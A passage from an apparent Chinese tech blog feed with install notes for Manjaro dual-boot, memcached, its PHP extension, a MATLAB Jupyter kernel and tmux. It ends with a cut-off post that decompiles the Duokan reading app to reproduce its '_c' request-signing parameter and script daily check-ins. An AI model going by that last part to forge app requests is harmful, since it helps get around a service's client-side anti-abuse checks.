<ul>
<li>选中Window10 创建的EFI分区，大小是100M，类型是FAT32，点击编辑。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmWvcsG8H11YcnQKLiyAaPyNYvHiFKRzUWdRNQAhy5Zk68" alt="image.png"  />
</p>
<ul>
<li><strong>分区内容选择保留</strong>，挂载点设置为 /boot/efi，标记选中boot和esp。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmdwBbP98oBSjcsA7Ei3xeb3zCpCcySMNrcJk5TgErzzjT" alt="image.png"  />
</p>
<ul>
<li>设置用户和密码</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmTcGWSuYj1H4joGMer2cAaCyDcAtYnmeTWsXavu3av2Jm" alt="image.png"  />
</p>
<ul>
<li>后面就可以安装了，等待安装完毕。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmP5f2HPtrKKdZ4GNSTvZMBUTGABpVfasoRXYm3Rn6esrq" alt="image.png"  />
</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmeEG8KGFK2G3KgfxivvGAvV1LsKnxRWqf7M8VJmLB5upD" alt="image.png"  />
</p>
<h2 id="完成安装">完成安装</h2>
<ul>
<li>选择启动项进入相应的系统</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmUV7UUCXqi4MQ8AL3HYxD5MmhseiXH8wajxB7k6zkHKpd" alt="image.png"  />
</p>
<ul>
<li>进入Mamjaro</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmVp1MEHdn1KJp1t9xzkXkJXymgKpuJGRYnztToP9oFAQC" alt="image.png"  />
</p>
<ul>
<li>进入 Windows 10</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmSfUUzCs7oeqXrSt8cukajwNegdrYRchM1XyGaNvQAKVL" alt="image.png"  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>Linux 系统安装 PHP memcached 扩展模块</title>
      <link>https://hacperme.com/posts/notes/2018-11-18-linux-install-php-memcached-modules/</link>
      <pubDate>Sun, 18 Nov 2018 06:25:02 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-11-18-linux-install-php-memcached-modules/</guid>
      <description>下载源码： wget http://pecl.php.net/get/memcached-3.0.4.tgz 解压： tar -zxf memcached-3.0.4.tgz 切换到解压目录： cd memcached-3.0.4 创建 configure 文件： phpize 编译配置： ./configure --with-php-config=/www/server/php/72/bin/php-config --with-libmemcached-dir=/usr/local/libmemcached 配置参数中 php-config 和 libmemcached 的路径可以用find命令查找： find / -name php-config find / -name libmemcached 编</description>
      <content:encoded><![CDATA[<p>下载源码：</p>
<p><code>wget http://pecl.php.net/get/memcached-3.0.4.tgz</code></p>
<p>解压：</p>
<p><code>tar -zxf memcached-3.0.4.tgz</code></p>
<p>切换到解压目录：</p>
<p><code>cd memcached-3.0.4</code></p>
<p>创建 configure 文件：</p>
<p><code>phpize</code></p>
<p>编译配置：</p>
<p><code>./configure --with-php-config=/www/server/php/72/bin/php-config  --with-libmemcached-dir=/usr/local/libmemcached</code></p>
<p>配置参数中 php-config 和 libmemcached 的路径可以用find命令查找：</p>
<p><code>find / -name php-config</code><br>
<code>find / -name libmemcached</code></p>
<p>编译：</p>
<p><code>make</code></p>
<p>安装：</p>
<p><code>make install</code></p>
<p>修改配置文件 php.ini， 添加模块 extension = memcache.so：</p>
<p><code>find / -name php.ini</code></p>
<p><code>vim /www/server/php/72/etc/php.ini</code></p>
<p><code>extension = memcache.so</code></p>
<p>重启 PHP 后，查看PHP模块是否启用：</p>
<p><code>php -m</code></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="o">[</span>PHP Modules<span class="o">]</span>
</span></span><span class="line"><span class="cl">bcmath
</span></span><span class="line"><span class="cl">mbstring
</span></span><span class="line"><span class="cl">memcached
</span></span><span class="line"><span class="cl">mysqli
</span></span><span class="line"><span class="cl">pcre
</span></span><span class="line"><span class="cl">PDO
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">xml
</span></span><span class="line"><span class="cl">xmlreader
</span></span><span class="line"><span class="cl">xmlrpc
</span></span><span class="line"><span class="cl">xmlwriter
</span></span><span class="line"><span class="cl">zip
</span></span><span class="line"><span class="cl">zlib
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>Zend Modules<span class="o">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>在Linux系统中安装 memcached</title>
      <link>https://hacperme.com/posts/notes/2018-11-18-ubuntu-installl-memcached/</link>
      <pubDate>Sun, 18 Nov 2018 06:13:47 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-11-18-ubuntu-installl-memcached/</guid>
      <description>安装 memcached 下载最新源码： wget http://memcached.org/latest 重命名： mv latest memcached-1.5.10.tar.gz 解压： tar -zxvf memcached-1.5.10.tar.gz 切换到解压目录： cd memcached-1.5.10/ 编译配置： ./configure --prefix=/usr/local/memcached 出错，缺少 libevent： 1 2 3 checking for libevent directory... configure: error: libevent is required. You can</description>
      <content:encoded><![CDATA[<p><img loading="lazy" src="https://i.loli.net/2018/11/13/5bea7ede260d6.jpg" alt="memcached.jpg"  />
</p>
<h2 id="安装-memcached">安装 memcached</h2>
<p>下载最新源码：<br>
<code>wget http://memcached.org/latest</code><br>
重命名：<br>
<code>mv latest memcached-1.5.10.tar.gz</code><br>
解压：<br>
<code>tar -zxvf memcached-1.5.10.tar.gz</code><br>
切换到解压目录：<br>
<code>cd memcached-1.5.10/</code></p>
<p>编译配置：<br>
<code>./configure --prefix=/usr/local/memcached</code></p>
<p>出错，缺少 libevent：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">checking <span class="k">for</span> libevent directory... configure: error: libevent is required.  You can get it from http://www.monkey.org/~provos/libevent/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      If it<span class="err">&#39;</span>s already installed, specify its path using --with-libevent<span class="o">=</span>/dir/
</span></span></code></pre></td></tr></table>
</div>
</div><p>到网站 <a href="http://libevent.org/">http://libevent.org/</a> 下载 libevent 源码。</p>
<p>解压：<br>
<code>tar zxvf libevent-2.1.8-stable.tar.gz</code><br>
切换到解压目录：<br>
<code>cd libevent-2.1.8-stable</code></p>
<p>配置、编译和安装libevent：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"> $ ./configure
</span></span><span class="line"><span class="cl"> $ make
</span></span><span class="line"><span class="cl"> $ make verify   <span class="c1"># (optional)</span>
</span></span><span class="line"><span class="cl"> $ sudo make install
</span></span></code></pre></td></tr></table>
</div>
</div><p>再回到 memcached 源码的解压目录 memcached-1.5.10</p>
<p>配置：<br>
<code>./configure --prefix=/usr/local/memcached</code><br>
编译：<br>
<code>make &amp;&amp; make test</code><br>
安装：<br>
<code>sudo make install</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>如何让 jupyter notebook 支持 MATLAB 程序？</title>
      <link>https://hacperme.com/posts/notes/2018-10-28-jupyter-notebook-install-matlab-kernel/</link>
      <pubDate>Sun, 28 Oct 2018 06:36:49 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-10-28-jupyter-notebook-install-matlab-kernel/</guid>
      <description>我之前安装的 MATLAB 的版本是 2017a，曾尝试过安装 jupyter 的 MATLAB 内核，但是失败了，网上说要 2017b 的版本才能用。 正好今天帮别人安装了 MATLAB 2018a，然后顺带在自</description>
      <content:encoded><![CDATA[<p>我之前安装的 MATLAB 的版本是 2017a，曾尝试过安装 jupyter 的 MATLAB 内核，但是失败了，网上说要 2017b 的版本才能用。</p>
<p>正好今天帮别人安装了 MATLAB 2018a，然后顺带在自己的电脑上也安装了新版本，尝试再次安装 jupyter 的内核，结果是成功的。以后可以在 jupyter notebook 上写 MATLAB 程序的笔记了。</p>
<p>安装过程不复杂，就两部分：</p>
<ul>
<li>安装 The MATLAB Engine API for Python</li>
<li>安装 Matlab kernel for Jupyter</li>
</ul>
<h2 id="安装-matlab-的-python-引擎">安装 MATLAB 的 Python 引擎</h2>
<p>进入MATLAB的安装目录，找到 extern\engines\python这个路径，并拷贝下来。比如我的安装位置是：</p>
<p><code>I:\matlab2018a\extern\engines\python</code></p>
<p>然后打开 cmd 切换到 I:\matlab2018a\extern\engines\python 目录下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">D:<span class="se">\U</span>sers<span class="se">\t</span>racis&gt;i:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">I:<span class="se">\L</span>istary&gt;cd I:<span class="se">\m</span>atlab2018a<span class="se">\e</span>xtern<span class="se">\e</span>ngines<span class="se">\p</span>ython
</span></span></code></pre></td></tr></table>
</div>
</div><p>输入安装命令：python setup.py install</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">I:<span class="se">\m</span>atlab2018a<span class="se">\e</span>xtern<span class="se">\e</span>ngines<span class="se">\p</span>ython&gt;python setup.py install
</span></span><span class="line"><span class="cl">running install
</span></span><span class="line"><span class="cl">running build
</span></span><span class="line"><span class="cl">running build_py
</span></span><span class="line"><span class="cl">running install_lib
</span></span><span class="line"><span class="cl">copying build<span class="se">\l</span>ib<span class="se">\m</span>atlab<span class="se">\e</span>ngine<span class="se">\_</span>arch.txt -&gt; I:<span class="se">\p</span>ython36<span class="se">\L</span>ib<span class="se">\s</span>ite-packages<span class="se">\m</span>atlab<span class="se">\e</span>ngine
</span></span><span class="line"><span class="cl">running install_egg_info
</span></span><span class="line"><span class="cl">Removing I:<span class="se">\p</span>ython36<span class="se">\L</span>ib<span class="se">\s</span>ite-packages<span class="se">\m</span>atlabengineforpython-R2018a-py3.6.egg-info
</span></span><span class="line"><span class="cl">Writing I:<span class="se">\p</span>ython36<span class="se">\L</span>ib<span class="se">\s</span>ite-packages<span class="se">\m</span>atlabengineforpython-R2018a-py3.6.egg-info
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="安装-jupyter-的-matlab-内核">安装 jupyter 的 MATLAB 内核</h2>
<p>在 cmd 输入安装命令：</p>
<p><code>pip install matlab_kernel</code></p>
<p>查看已安装的 jupyter 内核：</p>
<p><code>jupyter kernelspec list</code></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Available kernels:
</span></span><span class="line"><span class="cl">  matlab     i:<span class="se">\p</span>ython36<span class="se">\s</span>hare<span class="se">\j</span>upyter<span class="se">\k</span>ernels<span class="se">\m</span>atlab
</span></span><span class="line"><span class="cl">  python3    i:<span class="se">\p</span>ython36<span class="se">\s</span>hare<span class="se">\j</span>upyter<span class="se">\k</span>ernels<span class="se">\p</span>ython
</span></span></code></pre></td></tr></table>
</div>
</div><p>Available kernels 下有 matlab，说明安装成功了。</p>
<h2 id="尝试-matlab-notebook">尝试 MATLAB notebook</h2>
<p>启动 jupyter notebook，尝试在 jupyter notebook 中使用写MATLAB程序：</p>
<p><code>jupyter notebook</code></p>
<p>在 new 菜单下，选择创建 MATLAB 笔记本，以下是测试效果：</p>
<p><img loading="lazy" src="https://i.loli.net/2018/10/27/5bd418441f7b6.jpg" alt="blob.jpg"  />
</p>
<p>创建一个全 1 方阵：<br>
<img loading="lazy" src="https://i.loli.net/2018/10/27/5bd41b63ae37d.jpg" alt="blob.jpg"  />
</p>
<p>画图：<br>
<img loading="lazy" src="https://i.loli.net/2018/10/27/5bd41b7da84ac.jpg" alt="blob.jpg"  />
</p>
<hr>
<p>参考资料：</p>
<ul>
<li><a href="https://www.mathworks.com/help/matlab/matlab">https://www.mathworks.com/help/matlab/matlab</a>_external/install-the-matlab-engine-for-python.html</li>
<li><a href="https://github.com/Calysto/matlab">https://github.com/Calysto/matlab</a>_kernel</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>tmux 基础教程</title>
      <link>https://hacperme.com/posts/notes/2018-10-14-tmux-notes/</link>
      <pubDate>Sun, 14 Oct 2018 06:43:58 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-10-14-tmux-notes/</guid>
      <description>tmux 是一个非常好用的终端复用软件（Terminal Multiplexer），在操作远程服务器时可以用它来保持会话，避免突然断线的尴尬。也可以用</description>
      <content:encoded><![CDATA[<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbc95317ff9d.jpg" alt="blob.jpg"  />
</p>
<p>tmux 是一个非常好用的终端复用软件（Terminal Multiplexer），在操作远程服务器时可以用它来保持会话，避免突然断线的尴尬。也可以用它来实现分屏多任务，提高工作效率。</p>
<h2 id="安装-tmux">安装 tmux</h2>
<p>我使用的操作系统是Ubuntu，这里以常规安装软件的方式为例安装 tmux。其他操作系统和安装方式可以网上找找，应该都不难。</p>
<p>在 Ubuntu 系统使用下面的命令安装 tmux：</p>
<p><code>sudo apt install tmux -y</code></p>
<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbc967240edf.jpg" alt="blob.jpg"  />
</p>
<p>在使用 tmux 之前，先通过下图了解一下它的 服务器，会话，窗口，面板之间的包含关系，有助于理解 tmux 的工作方式。</p>
<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbc9bd47dd10.jpg" alt="blob.jpg"  />
</p>
<p><a href="https://leanpub.com/the-tao-of-tmux/read#leanpub-auto-window-manager-for-the-terminal">image source</a></p>
<h2 id="与会话有关的操作命令">与会话有关的操作命令</h2>
<ul>
<li>创建新会话，s1是自定义的会话名称<br>
<code>tmux new -s s1</code></li>
<li>返回原来的终端，会话保持在后台运行<br>
按ctrl+b 在按d键<br>
<code>ctrl+b d</code></li>
</ul>
<p>ctrl+b 是tmux默认的命令前缀。</p>
<ul>
<li>列出会话列表<br>
<code>tmux ls</code></li>
</ul>
<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbca1223f141.jpg" alt="blob.jpg"  />
</p>
<ul>
<li>进入会话<br>
-t参数后面加上会话的名称，比如：下面的 s1<br>
<code>tmux a -t s1</code></li>
<li>在当前会话中查看和切换会话<br>
通过方向键选择切换会话<br>
<code>ctrl+b s</code></li>
</ul>
<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbca21a4ce8f.jpg" alt="blob.jpg"  />
</p>
<ul>
<li>终止会话<br>
在会话外：<br>
<code>tmux kill-session -t s2</code><br>
在会话中：<br>
<code>ctrl+b : kill-session -t s1</code></li>
<li>重命名会话<br>
在会话内和在会话外，同样有两种方式。<br>
<code>tmux rename -t s2 s1</code><br>
<code>ctrl + b $ s2</code></li>
</ul>
<p>其实可以输入 <code>ctrl + b ？</code> 查看会话中的所有命令<br>
<img loading="lazy" src="https://i.loli.net/2018/10/09/5bbca6499d809.jpg" alt="blob.jpg"  />
</p>
<h2 id="与窗口有关的操作命令">与窗口有关的操作命令</h2>
<ul>
<li>修改当前窗口的名字<br>
crtl+b 再输入一个逗号 加名字，比如将当前窗口重命名为w1:<br>
<code>crtl+b , w1</code></li>
</ul>
<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbca7d5f206d.jpg" alt="blob.jpg"  />
</p>
<ul>
<li>创建新窗口<br>
<code>ctrl+b c</code></li>
</ul>
<p>将新窗口命名为：w2<br>
当前窗口用*符号作为标记</p>
<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbca8c4ad1eb.jpg" alt="blob.jpg"  />
</p>
<ul>
<li>切换window<br>
ctrl+b 后面输入窗口编号<br>
<code>ctrl+b 0</code></li>
<li>关闭窗口<br>
<code>ctrl+b &amp;</code></li>
</ul>
<h2 id="与面板有关的操作命令">与面板有关的操作命令</h2>
<ul>
<li>垂直分屏<br>
<code>ctrl+b %</code></li>
</ul>
<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbc84fce78c2.jpg" alt="blob.jpg"  />
</p>
<ul>
<li>水平分屏<br>
<code>ctrl+b &quot;</code></li>
</ul>
<p><img loading="lazy" src="https://i.loli.net/2018/10/09/5bbc85a4cba75.jpg" alt="blob.jpg"  />
</p>
<p>这样便在一个窗口创建了三个工作面板</p>
<ul>
<li>切换面板<br>
<code>ctrl+b 再输入方向键</code></li>
<li>调节面板大小<br>
<code>ctrl+b 按住 Alt键 再输入方向键</code></li>
<li>关闭面板<br>
<code>ctrl+b x</code></li>
</ul>
<hr>
<p>参考：</p>
<ul>
<li><a href="https://leanpub.com/the-tao-of-tmux/read#leanpub-auto-window-manager-for-the-terminal">The Tao of tmux</a></li>
<li><a href="http://blog.kissdata.com/2014/07/29/tmux.html">tmux简明快速教程</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>用 Python 实现多看阅读签到领书币</title>
      <link>https://hacperme.com/posts/notes/2018-09-30-duokan_python/</link>
      <pubDate>Sun, 30 Sep 2018 14:17:04 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-09-30-duokan_python/</guid>
      <description>对 Android 多看阅读 APP 进行抓包，可以获取其每天签到领书币的请求接口。 1 2 3 4 5 6 7 POST /checkin/v0/checkin HTTP/1.1 Host: www.duokan.com Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip,deflate Cookie: device_id=***************************;app_id=DkReader.Android;build=562180926;channel=TBVP2Y;user_type=1;device_hash=###################;device_hash_set=null;token=XXXXXXXXXXXXXXXXXXXXXXX; _t=1538224732&amp;amp;_c=10319 请求头 Cookie 中的 token 来自账号登录成功后返回的数据</description>
      <content:encoded><![CDATA[<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmZHQJL6NNq3geu6Q7EhBS9wju86xZATqwn6rtNHr8s8mi" alt="image.png"  />
</p>
<p>对 Android 多看阅读 APP 进行抓包，可以获取其每天签到领书币的请求接口。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="cl"><span class="nf">POST</span> <span class="nn">/checkin/v0/checkin</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">www.duokan.com</span>
</span></span><span class="line"><span class="cl"><span class="n">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span>
</span></span><span class="line"><span class="cl"><span class="n">Accept-Encoding</span><span class="o">:</span>  <span class="l">gzip,deflate</span>
</span></span><span class="line"><span class="cl"><span class="n">Cookie</span><span class="o">:</span>  <span class="l">device_id=***************************;app_id=DkReader.Android;build=562180926;channel=TBVP2Y;user_type=1;device_hash=###################;device_hash_set=null;token=XXXXXXXXXXXXXXXXXXXXXXX;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_t=1538224732&amp;_c=10319
</span></span></code></pre></td></tr></table>
</div>
</div><p>请求头 Cookie 中的 token 来自账号登录成功后返回的数据里，请求体中的_t 参数是当前时间（时间戳），_c 是由时间戳和 device_id 计算得来的。</p>
<p>用 Apk Extractor Lite 提取出多看阅读的安装包，再用 MT管理器 打开，反编译后可以得到生成 _t _C 参数的 JAVA 程序：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="nf">genCsrfCode</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">split</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">ReaderEnv</span><span class="p">.</span><span class="na">get</span><span class="p">().</span><span class="na">getDeviceId</span><span class="p">()</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="sc">&#39;&amp;&#39;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="na">currentTimeMillis</span><span class="p">()</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="n">1000</span><span class="p">))).</span><span class="na">split</span><span class="p">(</span><span class="s">&#34;&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">0</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">1</span><span class="p">;</span><span class="w"> </span><span class="n">i2</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">split</span><span class="p">.</span><span class="na">length</span><span class="p">;</span><span class="w"> </span><span class="n">i2</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">generate</span><span class="p">(</span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="n">split</span><span class="o">[</span><span class="n">i2</span><span class="o">]</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="o">[]</span><span class="p">{</span><span class="s">&#34;_t&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">String</span><span class="p">.</span><span class="na">valueOf</span><span class="p">(</span><span class="n">r4</span><span class="p">),</span><span class="w"> </span><span class="s">&#34;_c&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">String</span><span class="p">.</span><span class="na">valueOf</span><span class="p">(</span><span class="n">i</span><span class="p">)};</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="nf">generate</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="p">,</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">str</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="p">((</span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">131</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">str</span><span class="p">.</span><span class="na">getBytes</span><span class="p">()</span><span class="o">[</span><span class="n">0</span><span class="o">]</span><span class="p">)</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="n">65536</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>类似的，可以写成 Python 程序：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">config</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;device_id&#39;</span><span class="p">:</span> <span class="s1">&#39;************************&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;app_id&#39;</span><span class="p">:</span> <span class="s1">&#39;DkReader.Android&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;build&#39;</span><span class="p">:</span> <span class="s1">&#39;562180926&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;device_hash&#39;</span><span class="p">:</span> <span class="s1">&#39;######################&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;token&#39;</span><span class="p">:</span> <span class="s1">&#39;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX..&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_csrf_params</span><span class="p">(</span><span class="n">device_id</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">t</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span><span class="o">.</span><span class="n">timestamp</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">    <span class="n">string</span> <span class="o">=</span> <span class="n">device_id</span> <span class="o">+</span> <span class="s1">&#39;&amp;&#39;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">string</span><span class="p">):</span>
